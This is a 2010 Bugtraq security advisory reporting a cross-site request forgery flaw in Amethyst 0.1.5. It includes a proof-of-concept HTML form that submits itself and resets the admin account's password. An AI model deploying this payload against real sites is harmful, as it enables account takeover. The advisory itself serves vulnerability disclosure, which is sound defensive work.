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List: bugtraq
Subject: XSRF (CSRF) in Amethyst
From: advisory () htbridge ! ch
Date: 2010-08-05 13:55:14
Message-ID: 201008051355.o75DtEIO089092 () htbridge ! ch
[Download RAW message or body]
Vulnerability ID: HTB22500
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_amethyst.html
Product: Amethyst
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )
Vulnerable Version: 0.1.5 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing \
(http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the user updating script to properly \
verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the \
application, theft of cookie-based authentication credentials, disclosure or \
modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is \
available:
<form action="http://host/admin/update_user/1" method="post" name="main" >
<input type="hidden" name="user[username]" value="admin" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version
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